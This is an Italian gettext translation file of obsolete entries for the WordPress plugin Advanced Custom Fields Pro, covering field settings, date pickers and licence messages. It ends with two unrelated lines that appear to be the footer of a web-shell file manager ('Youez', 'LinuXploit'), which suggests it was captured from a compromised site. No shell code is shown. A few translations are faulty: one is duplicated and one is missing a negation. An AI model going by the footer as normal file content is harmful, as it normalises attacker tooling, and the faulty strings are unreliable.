#~ msgstr "Mostra questa fisarmonica aperta sul caricamento della pagina."

#~ msgid "Multi-expand"
#~ msgstr "Espansione multipla"

#~ msgid "Allow this accordion to open without closing others."
#~ msgstr "Permetti a questa fisarmonica di aprirsi senza chiudere gli altri."

#~ msgid "Endpoint"
#~ msgstr "Endpoint"

#~ msgid ""
#~ "Define an endpoint for the previous accordion to stop. This accordion "
#~ "will not be visible."
#~ msgstr ""
#~ "Definisce un endpoint per la precedente fisarmonica che deve fermarsi. "
#~ "Questa fisarmonica non sarà visibile."

#~ msgid "Button Group"
#~ msgstr "Gruppo Bottoni"

#~ msgid "Choices"
#~ msgstr "Scelte"

#~ msgid "Enter each choice on a new line."
#~ msgstr "Immettere ogni scelta su una nuova linea."

#~ msgid "For more control, you may specify both a value and label like this:"
#~ msgstr ""
#~ "Per un maggiore controllo, è possibile specificare sia un valore ed "
#~ "etichetta in questo modo:"

#~ msgid "red : Red"
#~ msgstr "rosso : Rosso"

#~ msgid "Allow Null?"
#~ msgstr "Consenti Nullo?"

#~ msgid "Default Value"
#~ msgstr "Valore di default"

#~ msgid "Appears when creating a new post"
#~ msgstr "Appare quando si crea un nuovo post"

#~ msgid "Horizontal"
#~ msgstr "Orizzontale"

#~ msgid "Vertical"
#~ msgstr "Verticale"

#~ msgid "Return Value"
#~ msgstr "Valore di ritorno"

#~ msgid "Specify the returned value on front end"
#~ msgstr "Specificare il valore restituito sul front-end"

#~ msgid "Value"
#~ msgstr "Valore"

#~ msgid "Both (Array)"
#~ msgstr "Entrambi (Array)"

#~ msgid "Checkbox"
#~ msgstr "Checkbox"

#~ msgid "Toggle All"
#~ msgstr "Seleziona tutti"

#~ msgid "Add new choice"
#~ msgstr "Aggiungi nuova scelta"

#~ msgid "Allow Custom"
#~ msgstr "Consenti Personalizzato"

#~ msgid "Allow 'custom' values to be added"
#~ msgstr "Consenti valori 'personalizzati' da aggiungere"

#~ msgid "Save Custom"
#~ msgstr "Salva Personalizzato"

#~ msgid "Save 'custom' values to the field's choices"
#~ msgstr "Salvare i valori 'personalizzati' per le scelte del campo"

#~ msgid "Enter each default value on a new line"
#~ msgstr "Immettere ogni valore di default su una nuova linea"

#~ msgid "Toggle"
#~ msgstr "Toggle"

#~ msgid "Prepend an extra checkbox to toggle all choices"
#~ msgstr "Inserisci un Checkbox extra per poter selezionare tutte le opzioni"

#~ msgid "Color Picker"
#~ msgstr "Selettore colore"

#~ msgid "Clear"
#~ msgstr "Chiaro"

#~ msgid "Default"
#~ msgstr "Default"

#~ msgid "Select Color"
#~ msgstr "Seleziona colore"

#~ msgid "Current Color"
#~ msgstr "Colore Corrente"

#~ msgid "Date Picker"
#~ msgstr "Selettore data"

#~ msgctxt "Date Picker JS closeText"
#~ msgid "Done"
#~ msgstr "Fatto"

#~ msgctxt "Date Picker JS currentText"
#~ msgid "Today"
#~ msgstr "Oggi"

#~ msgctxt "Date Picker JS nextText"
#~ msgid "Next"
#~ msgstr "Prossimo"

#~ msgctxt "Date Picker JS prevText"
#~ msgid "Prev"
#~ msgstr "Precedente"

#~ msgctxt "Date Picker JS weekHeader"
#~ msgid "Wk"
#~ msgstr "Sett"

#~ msgid "Display Format"
#~ msgstr "Formato di visualizzazione"

#~ msgid "The format displayed when editing a post"
#~ msgstr "Il formato visualizzato durante la modifica di un post"

#~ msgid "Custom:"
#~ msgstr "Personalizzato:"

#~ msgid "Save Format"
#~ msgstr "Salva Formato"

#~ msgid "The format used when saving a value"
#~ msgstr "Il formato utilizzato durante il salvataggio di un valore"

#~ msgid "The format returned via template functions"
#~ msgstr "Il formato restituito tramite funzioni template"

#~ msgid "Week Starts On"
#~ msgstr "La settimana inizia il"

#~ msgid "Date Time Picker"
#~ msgstr "Selettore data/ora"

#~ msgctxt "Date Time Picker JS timeOnlyTitle"
#~ msgid "Choose Time"
#~ msgstr "Scegli tempo"

#~ msgctxt "Date Time Picker JS timeText"
#~ msgid "Time"
#~ msgstr "Orario"

#~ msgctxt "Date Time Picker JS hourText"
#~ msgid "Hour"
#~ msgstr "Ore"

#~ msgctxt "Date Time Picker JS minuteText"
#~ msgid "Minute"
#~ msgstr "Minuto"

#~ msgctxt "Date Time Picker JS secondText"
#~ msgid "Second"
#~ msgstr "Secondo"

#~ msgctxt "Date Time Picker JS millisecText"
#~ msgid "Millisecond"
#~ msgstr "Millisecondo"

#~ msgctxt "Date Time Picker JS microsecText"
#~ msgid "Microsecond"
#~ msgstr "Microsecondo"

#~ msgctxt "Date Time Picker JS timezoneText"
#~ msgid "Time Zone"
#~ msgstr "Fuso orario"

#~ msgctxt "Date Time Picker JS currentText"
#~ msgid "Now"
#~ msgstr "Ora"

#~ msgctxt "Date Time Picker JS closeText"
#~ msgid "Done"
#~ msgstr "Fatto"

#~ msgctxt "Date Time Picker JS selectText"
#~ msgid "Select"
#~ msgstr "Seleziona"

#~ msgctxt "Date Time Picker JS amText"
#~ msgid "AM"
#~ msgstr "AM"

#~ msgctxt "Date Time Picker JS amTextShort"
#~ msgid "A"
#~ msgstr "A"

#~ msgctxt "Date Time Picker JS pmText"
#~ msgid "PM"
#~ msgstr "PM"

#~ msgctxt "Date Time Picker JS pmTextShort"
#~ msgid "P"
#~ msgstr "P"

#~ msgid "Email"
#~ msgstr "Email"

#~ msgid "Placeholder Text"
#~ msgstr "Testo segnaposto"

#~ msgid "Appears within the input"
#~ msgstr "Appare nella finestra di input"

#~ msgid "Prepend"
#~ msgstr "Anteponi"

#~ msgid "Appears before the input"
#~ msgstr "Appare prima dell'input"

#~ msgid "Append"
#~ msgstr "Accodare"

#~ msgid "Appears after the input"
#~ msgstr "Accodare dopo l'input"

#~ msgid "File"
#~ msgstr "File"

#~ msgid "Edit File"
#~ msgstr "Modifica File"

#~ msgid "Update File"
#~ msgstr "Aggiorna File"

#~ msgid "File name"
#~ msgstr "Nome file"

#~ msgid "Add File"
#~ msgstr "Aggiungi file"

#~ msgid "File Array"
#~ msgstr "File Array"

#~ msgid "File URL"
#~ msgstr "File URL"

#~ msgid "File ID"
#~ msgstr "File ID"

#~ msgid "Restrict which files can be uploaded"
#~ msgstr "Limita i tipi di File che possono essere caricati"

#~ msgid "Google Map"
#~ msgstr "Google Map"

#~ msgid "Sorry, this browser does not support geolocation"
#~ msgstr "Spiacente, questo browser non supporta la geolocalizzazione"

#~ msgid "Clear location"
#~ msgstr "Pulisci posizione"

#~ msgid "Find current location"
#~ msgstr "Trova posizione corrente"

#~ msgid "Search for address..."
#~ msgstr "Cerca per indirizzo..."

#~ msgid "Center"
#~ msgstr "Centro"

#~ msgid "Center the initial map"
#~ msgstr "Centrare la mappa iniziale"

#~ msgid "Zoom"
#~ msgstr "Zoom"

#~ msgid "Set the initial zoom level"
#~ msgstr "Imposta il livello di zoom iniziale"

#~ msgid "Customise the map height"
#~ msgstr "Personalizza l'altezza della mappa iniziale"

#~ msgid "Group"
#~ msgstr "Gruppo"

#~ msgid "Image"
#~ msgstr "Immagine"

#~ msgid "Select Image"
#~ msgstr "Seleziona Immagine"

#~ msgid "Edit Image"
#~ msgstr "Modifica Immagine"

#~ msgid "Update Image"
#~ msgstr "Aggiorna Immagine"

#~ msgid "No image selected"
#~ msgstr "Nessun immagine selezionata"

#~ msgid "Add Image"
#~ msgstr "Aggiungi Immagine"

#~ msgid "Shown when entering data"
#~ msgstr "Mostrato durante l'immissione dei dati"

#~ msgid "Link"
#~ msgstr "Link"

#~ msgid "Select Link"
#~ msgstr "Seleziona Link"

#~ msgid "Opens in a new window/tab"
#~ msgstr "Apri in una nuova scheda/finestra"

#~ msgid "Link Array"
#~ msgstr "Link Array"

#~ msgid "Link URL"
#~ msgstr "Link URL"

#~ msgid "Message"
#~ msgstr "Messaggio"

#~ msgid "New Lines"
#~ msgstr "Nuove Linee"

#~ msgid "Controls how new lines are rendered"
#~ msgstr "Controlla come le nuove linee sono renderizzate"

#~ msgid "Automatically add paragraphs"
#~ msgstr "Aggiungi automaticamente paragrafi"

#~ msgid "Automatically add &lt;br&gt;"
#~ msgstr "Aggiungi automaticamente &lt;br&gt;"

#~ msgid "No Formatting"
#~ msgstr "Nessuna formattazione"

#~ msgid "Escape HTML"
#~ msgstr "Escape HTML"

#~ msgid "Allow HTML markup to display as visible text instead of rendering"
#~ msgstr "Visualizza HTML come testo"

#~ msgid "Number"
#~ msgstr "Numero"

#~ msgid "Minimum Value"
#~ msgstr "Valore Minimo"

#~ msgid "Maximum Value"
#~ msgstr "Valore Massimo"

#~ msgid "Step Size"
#~ msgstr "Step Dimensione"

#~ msgid "Value must be a number"
#~ msgstr "Il valore deve essere un numero"

#, php-format
#~ msgid "Value must be equal to or higher than %d"
#~ msgstr "Il valore deve essere uguale o superiore a %d"

#, php-format
#~ msgid "Value must be equal to or lower than %d"
#~ msgstr "Il valore deve essere uguale o inferiore a %d"

#~ msgid "oEmbed"
#~ msgstr "oEmbed"

#~ msgid "Enter URL"
#~ msgstr "Inserisci URL"

#~ msgid "Embed Size"
#~ msgstr "Dimensione Embed"

#~ msgid "Archives"
#~ msgstr "Archivi"

#~ msgid "Parent"
#~ msgstr "Genitore"

#~ msgid "Filter by Post Type"
#~ msgstr "Filtra per tipo di Post"

#~ msgid "All post types"
#~ msgstr "Tutti i tipi di post"

#~ msgid "Filter by Taxonomy"
#~ msgstr "Fitra per tassonomia"

#~ msgid "All taxonomies"
#~ msgstr "Tutte le Tassonomie"

#~ msgid "Allow Archives URLs"
#~ msgstr "Consentire URL degli Archivi"

#~ msgid "Select multiple values?"
#~ msgstr "Selezionare più valori?"

#~ msgid "Password"
#~ msgstr "Password"

#~ msgid "Post Object"
#~ msgstr "Oggetto Post"

#~ msgid "Post ID"
#~ msgstr "ID Post"

#~ msgid "Radio Button"
#~ msgstr "Bottone Radio"

#~ msgid "Other"
#~ msgstr "Altro"

#~ msgid "Add 'other' choice to allow for custom values"
#~ msgstr "Aggiungi scelta 'altro' per consentire valori personalizzati"

#~ msgid "Save Other"
#~ msgstr "Salva Altro"

#~ msgid "Save 'other' values to the field's choices"
#~ msgstr "Salvare i valori 'altri' alle scelte di campo"

#~ msgid "Range"
#~ msgstr "Intervallo"

#~ msgid "Relationship"
#~ msgstr "Relazioni"

#~ msgid "Maximum values reached ( {max} values )"
#~ msgstr "Valori massimi raggiunti ( valori {max} )"

#~ msgid "Loading"
#~ msgstr "Caricamento"

#~ msgid "No matches found"
#~ msgstr "Nessun risultato"

#~ msgid "Select post type"
#~ msgstr "Seleziona Post Type"

#~ msgid "Select taxonomy"
#~ msgstr "Seleziona Tassonomia"

#~ msgid "Search..."
#~ msgstr "Ricerca ..."

#~ msgid "Filters"
#~ msgstr "Filtri"

#~ msgid "Post Type"
#~ msgstr "Tipo Post"

#~ msgid "Taxonomy"
#~ msgstr "Tassonomie"

#~ msgid "Elements"
#~ msgstr "Elementi"

#~ msgid "Selected elements will be displayed in each result"
#~ msgstr "Gli elementi selezionati verranno visualizzati in ogni risultato"

#~ msgid "Minimum posts"
#~ msgstr "Post minimi"

#~ msgid "Maximum posts"
#~ msgstr "Post massimi"

#, php-format
#~ msgid "%s requires at least %s selection"
#~ msgid_plural "%s requires at least %s selections"
#~ msgstr[0] "%s richiede la selezione di almeno %s"
#~ msgstr[1] "%s richiede le selezioni di almeno %s"

#~ msgctxt "noun"
#~ msgid "Select"
#~ msgstr "Seleziona"

#~ msgctxt "Select2 JS matches_1"
#~ msgid "One result is available, press enter to select it."
#~ msgstr "Un risultato disponibile, premi invio per selezionarlo."

#, php-format
#~ msgctxt "Select2 JS matches_n"
#~ msgid "%d results are available, use up and down arrow keys to navigate."
#~ msgstr ""
#~ "%d risultati disponibili, usa i tasti freccia su e giù per scorrere."

#~ msgctxt "Select2 JS matches_0"
#~ msgid "No matches found"
#~ msgstr "Nessun riscontro trovato"

#~ msgctxt "Select2 JS input_too_short_1"
#~ msgid "Please enter 1 or more characters"
#~ msgstr "Per favore inserire 1 o più caratteri"

#, php-format
#~ msgctxt "Select2 JS input_too_short_n"
#~ msgid "Please enter %d or more characters"
#~ msgstr "Inserisci %d o più caratteri"

#~ msgctxt "Select2 JS input_too_long_1"
#~ msgid "Please delete 1 character"
#~ msgstr "Per favore cancella 1 carattere"

#, php-format
#~ msgctxt "Select2 JS input_too_long_n"
#~ msgid "Please delete %d characters"
#~ msgstr "Cancellare %d caratteri"

#~ msgctxt "Select2 JS selection_too_long_1"
#~ msgid "You can only select 1 item"
#~ msgstr "Puoi selezionare solo 1 elemento"

#, php-format
#~ msgctxt "Select2 JS selection_too_long_n"
#~ msgid "You can only select %d items"
#~ msgstr "È possibile selezionare solo %d elementi"

#~ msgctxt "Select2 JS load_more"
#~ msgid "Loading more results&hellip;"
#~ msgstr "Caricamento altri risultati&hellip;"

#~ msgctxt "Select2 JS searching"
#~ msgid "Searching&hellip;"
#~ msgstr "Cercando&hellip;"

#~ msgctxt "Select2 JS load_fail"
#~ msgid "Loading failed"
#~ msgstr "Caricamento fallito"

#~ msgid "Stylised UI"
#~ msgstr "UI stilizzata"

#~ msgid "Use AJAX to lazy load choices?"
#~ msgstr "Usa AJAX per le scelte di carico lazy?"

#~ msgid "Specify the value returned"
#~ msgstr "Specificare il valore restituito"

#~ msgid "Separator"
#~ msgstr "Separatore"

#~ msgid "Tab"
#~ msgstr "Scheda"

#~ msgid "Placement"
#~ msgstr "Posizione"

#~ msgid ""
#~ "Define an endpoint for the previous tabs to stop. This will start a new "
#~ "group of tabs."
#~ msgstr ""
#~ "Definire un endpoint per le schede precedenti da interrompere. Questo "
#~ "avvierà un nuovo gruppo di schede."

#, php-format
#~ msgctxt "No terms"
#~ msgid "No %s"
#~ msgstr "Nessun %s"

#~ msgid "None"
#~ msgstr "Nessuno"

#~ msgid "Select the taxonomy to be displayed"
#~ msgstr "Seleziona la Tassonomia da mostrare"

#~ msgid "Appearance"
#~ msgstr "Aspetto"

#~ msgid "Select the appearance of this field"
#~ msgstr "Seleziona l'aspetto per questo Campo"

#~ msgid "Multiple Values"
#~ msgstr "Valori Multipli"

#~ msgid "Multi Select"
#~ msgstr "Selezione Multipla"

#~ msgid "Single Value"
#~ msgstr "Valore Singolo"

#~ msgid "Radio Buttons"
#~ msgstr "Bottoni Radio"

#~ msgid "Create Terms"
#~ msgstr "Crea Termini"

#~ msgid "Allow new terms to be created whilst editing"
#~ msgstr "Abilita la creazione di nuovi Termini"

#~ msgid "Save Terms"
#~ msgstr "Salva Termini"

#~ msgid "Connect selected terms to the post"
#~ msgstr "Collega i Termini selezionati al Post"

#~ msgid "Load Terms"
#~ msgstr "Carica Termini"

#~ msgid "Load value from posts terms"
#~ msgstr "Carica valori dai Termini del Post"

#~ msgid "Term Object"
#~ msgstr "Oggetto Termine"

#~ msgid "Term ID"
#~ msgstr "ID Termine"

#~ msgid "Error."
#~ msgstr "Errore."

#, php-format
#~ msgid "User unable to add new %s"
#~ msgstr "Utente non abilitato ad aggiungere %s"

#, php-format
#~ msgid "%s already exists"
#~ msgstr "%s esiste già"

#, php-format
#~ msgid "%s added"
#~ msgstr "%s aggiunto"

#~ msgid "Add"
#~ msgstr "Aggiungi"

#~ msgid "Text"
#~ msgstr "Testo"

#~ msgid "Character Limit"
#~ msgstr "Limite Carattere"

#~ msgid "Leave blank for no limit"
#~ msgstr "Lasciare vuoto per nessun limite"

#~ msgid "Text Area"
#~ msgstr "Area di Testo"

#~ msgid "Rows"
#~ msgstr "Righe"

#~ msgid "Sets the textarea height"
#~ msgstr "Imposta le righe dell'area di testo"

#~ msgid "Time Picker"
#~ msgstr "Selettore di tempo"

#~ msgid "True / False"
#~ msgstr "Vero / Falso"

#~ msgid "Displays text alongside the checkbox"
#~ msgstr "Visualizza il testo a fianco alla casella di controllo"

#~ msgid "On Text"
#~ msgstr "Testo Attivo"

#~ msgid "Text shown when active"
#~ msgstr "Testo visualizzato quando è attivo"

#~ msgid "Off Text"
#~ msgstr "Testo Disattivo"

#~ msgid "Text shown when inactive"
#~ msgstr "Testo mostrato quando inattivo"

#~ msgid "Url"
#~ msgstr "Url"

#~ msgid "Value must be a valid URL"
#~ msgstr "Il valore deve essere una URL valida"

#~ msgid "User"
#~ msgstr "Utente"

#~ msgid "Filter by role"
#~ msgstr "Filtra per ruolo"

#~ msgid "All user roles"
#~ msgstr "Tutti i ruoli utente"

#~ msgid "User Array"
#~ msgstr "Array utente"

#~ msgid "User Object"
#~ msgstr "Oggetto utente"

#~ msgid "User ID"
#~ msgstr "ID Utente"

#~ msgid "Wysiwyg Editor"
#~ msgstr "Editor Wysiwyg"

#~ msgid "Visual"
#~ msgstr "Visuale"

#~ msgctxt "Name for the Text editor tab (formerly HTML)"
#~ msgid "Text"
#~ msgstr "Testo"

#~ msgid "Click to initialize TinyMCE"
#~ msgstr "Clicca per inizializzare TinyMCE"

#~ msgid "Tabs"
#~ msgstr "Schede"

#~ msgid "Visual & Text"
#~ msgstr "Visuale e Testuale"

#~ msgid "Visual Only"
#~ msgstr "Solo Visuale"

#~ msgid "Text Only"
#~ msgstr "Solo Testuale"

#~ msgid "Toolbar"
#~ msgstr "Toolbar"

#~ msgid "Show Media Upload Buttons?"
#~ msgstr "Mostra Bottoni caricamento Media?"

#~ msgid "Delay initialization?"
#~ msgstr "Ritardo inizializzazione?"

#~ msgid "TinyMCE will not be initalized until field is clicked"
#~ msgstr ""
#~ "TinyMCE non sarà inizializzato fino a quando il campo non viene cliccato"

#~ msgid "Validate Email"
#~ msgstr "Valida Email"

#~ msgid "Post updated"
#~ msgstr "Post aggiornato"

#~ msgid "Spam Detected"
#~ msgstr "Spam Rilevato"

#~ msgid "Post"
#~ msgstr "Post"

#~ msgid "Page"
#~ msgstr "Pagina"

#~ msgid "Forms"
#~ msgstr "Moduli"

#~ msgid "is equal to"
#~ msgstr "è uguale a"

#~ msgid "is not equal to"
#~ msgstr "non è uguale a"

#~ msgid "Attachment"
#~ msgstr "Allegato"

#, php-format
#~ msgid "All %s formats"
#~ msgstr "Tutti i formati %s"

#~ msgid "Comment"
#~ msgstr "Commento"

#~ msgid "Current User Role"
#~ msgstr "Ruolo Utente corrente"

#~ msgid "Super Admin"
#~ msgstr "Super Admin"

#~ msgid "Current User"
#~ msgstr "Utente corrente"

#~ msgid "Logged in"
#~ msgstr "Autenticato"

#~ msgid "Viewing front end"
#~ msgstr "Visualizzando Frond-end"

#~ msgid "Viewing back end"
#~ msgstr "Visualizzando Back-end"

#~ msgid "Menu Item"
#~ msgstr "Menu Elemento"

#~ msgid "Menu"
#~ msgstr "Menu"

#~ msgid "Menu Locations"
#~ msgstr "Posizione Menu"

#~ msgid "Menus"
#~ msgstr "Menu"

#~ msgid "Page Parent"
#~ msgstr "Genitore Pagina"

#~ msgid "Page Template"
#~ msgstr "Template Pagina"

#~ msgid "Default Template"
#~ msgstr "Template Default"

#~ msgid "Page Type"
#~ msgstr "Tipo di Pagina"

#~ msgid "Front Page"
#~ msgstr "Pagina Principale"

#~ msgid "Posts Page"
#~ msgstr "Pagina Post"

#~ msgid "Top Level Page (no parent)"
#~ msgstr "Pagina di primo livello (no Genitori)"

#~ msgid "Parent Page (has children)"
#~ msgstr "Pagina Genitore (ha Figli)"

#~ msgid "Child Page (has parent)"
#~ msgstr "Pagina Figlio (ha Genitore)"

#~ msgid "Post Category"
#~ msgstr "Categoria Post"

#~ msgid "Post Format"
#~ msgstr "Formato Post"

#~ msgid "Post Status"
#~ msgstr "Stato Post"

#~ msgid "Post Taxonomy"
#~ msgstr "Tassonomia Post"

#~ msgid "Post Template"
#~ msgstr "Template Post"

#~ msgid "User Form"
#~ msgstr "Form Utente"

#~ msgid "Add / Edit"
#~ msgstr "Aggiungi / Modifica"

#~ msgid "Register"
#~ msgstr "Registra"

#~ msgid "User Role"
#~ msgstr "Ruolo Utente"

#~ msgid "Widget"
#~ msgstr "Widget"

#, php-format
#~ msgid "%s value is required"
#~ msgstr "Il valore %s è richiesto"

#~ msgid "remove {layout}?"
#~ msgstr "rimuovi {layout}?"

#~ msgid "This field requires at least {min} {identifier}"
#~ msgstr "Questo campoQuesto campo richiede almeno {min} {identifier}"

#~ msgid "This field has a limit of {max} {identifier}"
#~ msgstr "Questo campo ha un limite di {max} {identifier}"

#~ msgid "Maximum {label} limit reached ({max} {identifier})"
#~ msgstr "Massimo {label} limite raggiunto ({max} {identifier})"

#, php-format
#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>."
#~ msgstr ""
#~ "Per attivare gli aggiornamenti, per favore inserisci la tua chiave di "
#~ "licenza nella pagina <a href=\"%s\">Aggiornamenti</a>. Se non hai una "
#~ "chiave di licenza, per favore vedi <a href=\"%s\">dettagli e prezzi</a>."

#~ msgid "https://www.advancedcustomfields.com/"
#~ msgstr "https://www.advancedcustomfields.com/"

#~ msgid "Elliot Condon"
#~ msgstr "Elliot Condon"

#~ msgid "http://www.elliotcondon.com/"
#~ msgstr "http://www.elliotcondon.com/"

#~ msgid "No conditional fields available"
#~ msgstr "Non ci sono campi condizionali disponibili"

#~ msgid "Parent fields"
#~ msgstr "Campi genitore"

#~ msgid "Sibling fields"
#~ msgstr "Campi di pari livello"

#~ msgid "Left Aligned"
#~ msgstr "Allineamento a sinistra"

#~ msgid "Locating"
#~ msgstr "Localizzazione"

#~ msgid "Minimum values reached ( {min} values )"
#~ msgstr "Valori minimi raggiunti ( valori {min} )"

#~ msgid "Taxonomy Term"
#~ msgstr "Termine Tassonomia"

#~ msgid "No toggle fields available"
#~ msgstr "Nessun Campo Toggle disponibile"

#~ msgid "Export Field Groups to PHP"
#~ msgstr ""
#~ "Esporta \n"
#~ "Field Group\n"
#~ " di PHP"

#~ msgid "Download export file"
#~ msgstr "Scarica file di esportazione"

#~ msgid "Generate export code"
#~ msgstr "Generare codice di esportazione"

#~ msgid "Import"
#~ msgstr "Importa"

#~ msgid "No embed found for the given URL."
#~ msgstr "Nessun embed trovato per l'URL specificato."

#~ msgid ""
#~ "The tab field will display incorrectly when added to a Table style "
#~ "repeater field or flexible content field layout"
#~ msgstr ""
#~ "Il campo scheda visualizzerà correttamente quando aggiunto a un campo "
#~ "ripetitore stile di tabella o disposizione flessibile in campo dei "
#~ "contenuti"

#~ msgid ""
#~ "Use \"Tab Fields\" to better organize your edit screen by grouping fields "
#~ "together."
#~ msgstr ""
#~ "Usa \"Campi Scheda\" per organizzare al meglio la vostra schermata di "
#~ "modifica raggruppando i campi insieme."

#~ msgid ""
#~ "All fields following this \"tab field\" (or until another \"tab field\" "
#~ "is defined) will be grouped together using this field's label as the tab "
#~ "heading."
#~ msgstr ""
#~ "Tutti i campi che seguono questo \"campo scheda\" (o finché un altro "
#~ "\"campo tab \" viene definito) verranno raggruppati utilizzando "
#~ "l'etichetta di questo campo come intestazione scheda."

#~ msgid "End-point"
#~ msgstr "Punto finale"

#~ msgid "Use this field as an end-point and start a new group of tabs"
#~ msgstr ""
#~ "Utilizzare questo campo come un punto finale e iniziare un nuovo gruppo "
#~ "di schede"

#~ msgid "Getting Started"
#~ msgstr "Guida introduttiva"

#~ msgid "Field Types"
#~ msgstr "Tipi di Field"

#~ msgid "Functions"
#~ msgstr "Funzioni"

#~ msgid "Actions"
#~ msgstr "Azioni"

#~ msgid "Features"
#~ msgstr "Caratteristiche"

#~ msgid "How to"
#~ msgstr "Come fare"

#~ msgid "Tutorials"
#~ msgstr "Tutorial"

#~ msgid "FAQ"
#~ msgstr "FAQ"

#~ msgid "Term meta upgrade not possible (termmeta table does not exist)"
#~ msgstr ""
#~ "Non è possibile l'aggiornamento del meta termine (la tabella termmeta non "
#~ "esiste)"

#~ msgid "Error"
#~ msgstr "Errore"

#~ msgid "1 field requires attention."
#~ msgid_plural "%d fields require attention."
#~ msgstr[0] "1 campo richiede attenzione."
#~ msgstr[1] "%d campi richiedono attenzione."

#~ msgid ""
#~ "Error validating ACF PRO license URL (website does not match). Please re-"
#~ "activate your license"
#~ msgstr ""
#~ "Errore durante la convalida dell'URL della licenza di ACF PRO (sito web "
#~ "non corrisponde). Si prega di riattivare la licenza"

#~ msgid "See what's new"
#~ msgstr "Guarda cosa c'è di nuovo"

#~ msgid "Disabled"
#~ msgstr "Disabilitato"

#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Disabilitato <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Disabilitato <span class=\"count\">(%s)</span>"

#~ msgid "'How to' guides"
#~ msgstr "Guide del 'come si fa'"

#~ msgid "Created by"
#~ msgstr "Creato da"

#~ msgid "Text shown when not active"
#~ msgstr "Testo visualizzato quando non è attivo"

#~ msgid ""
#~ "Error validating license URL (website does not match). Please re-activate "
#~ "your license"
#~ msgstr ""
#~ "Errore nella convalida licenza URL (sito Web non corrisponde). Si prega "
#~ "di ri-attivare la licenza"

#~ msgid "Error loading update"
#~ msgstr "Errore durante il caricamento."

#~ msgid "eg. Show extra content"
#~ msgstr "es. Mostra contenuti extra"

#~ msgid "Select"
#~ msgstr "Seleziona"

#~ msgctxt "Field label"
#~ msgid "Clone"
#~ msgstr "Clona"

#~ msgctxt "Field instruction"
#~ msgid "Clone"
#~ msgstr "Clona"

#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr "<b>Errore di connessione</b>. Spiacenti, per favore riprova"

#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr ""
#~ "<b>Successo</b>. Lo strumento di importazione ha aggiunto %s Field Group: "
#~ "%s"

#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr ""
#~ "<b>Attenzione</b>. Lo strumento di importazione ha trovato %s \n"
#~ "Field Group\n"
#~ " già esistenti e sono stati ignorati: %s"

#~ msgid "Upgrade ACF"
#~ msgstr "Aggiorna ACF"

#~ msgid "Upgrade"
#~ msgstr "Aggiornamento"

#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click “Upgrade Database”."
#~ msgstr ""
#~ "I seguenti siti necessitano di un aggiornamento Database. Seleziona "
#~ "quelli da aggiornare e clicca \"Aggiorna Database\""

#~ msgid "Done"
#~ msgstr "Fatto"

#~ msgid "Today"
#~ msgstr "Oggi"

#~ msgid "Show a different month"
#~ msgstr "Mostra un altro mese"

#~ msgid "See what's new in"
#~ msgstr "Guarda cosa c'è di nuovo"

#~ msgid "version"
#~ msgstr "versione"

#~ msgid "Upgrading data to"
#~ msgstr "Aggiornare i dati a"

#~ msgid "Return format"
#~ msgstr "Formato ritorno"

#~ msgid "uploaded to this post"
#~ msgstr "caricare a questo post"

#~ msgid "File Name"
#~ msgstr "Nome file"

#~ msgid "File Size"
#~ msgstr "Dimensione file"

#~ msgid "No File selected"
#~ msgstr "Nessun file selezionato"

#~ msgid "Save Options"
#~ msgstr "Salva Opzioni"

#~ msgid "License"
#~ msgstr "Licenza"

#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr ""
#~ "Per sbloccare gli aggiornamenti, inserisci il tuo codice di licenza di "
#~ "seguito. Se non si dispone di una chiave di licenza, si prega di "
#~ "consultare"

#~ msgid "details & pricing"
#~ msgstr "dettagli & prezzi"

#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "Per attivare gli aggiornamenti, inserisci il tuo codice di licenza sulla "
#~ "pagina <a href=\"%s\">Aggiornamenti</a>. Se non si dispone di una chiave "
#~ "di licenza, si prega di consultare <a href=\"%s\">dettagli & prezzi</a>"

#~ msgid "Advanced Custom Fields Pro"
#~ msgstr "Advanced Custom Fields Pro"

#~ msgid "http://www.advancedcustomfields.com/"
#~ msgstr "http://www.advancedcustomfields.com/"

#~ msgid "elliot condon"
#~ msgstr "elliot condon"

#~ msgid "Drag and drop to reorder"
#~ msgstr "Trascina per riordinare"

#~ msgid "Add new %s "
#~ msgstr "Aggiungi %s "

#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr ""
#~ "Si prega di notare che tutto il testo viene prima passato attraverso la "
#~ "funzione wp"

#~ msgid "Warning"
#~ msgstr "Attenzione"

#~ msgid "Import / Export"
#~ msgstr "Importa / Esporta"

#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr "I Field Group sono creati in ordine dal più basso al più alto"

Youez - 2016 - github.com/yon3zu
LinuXploit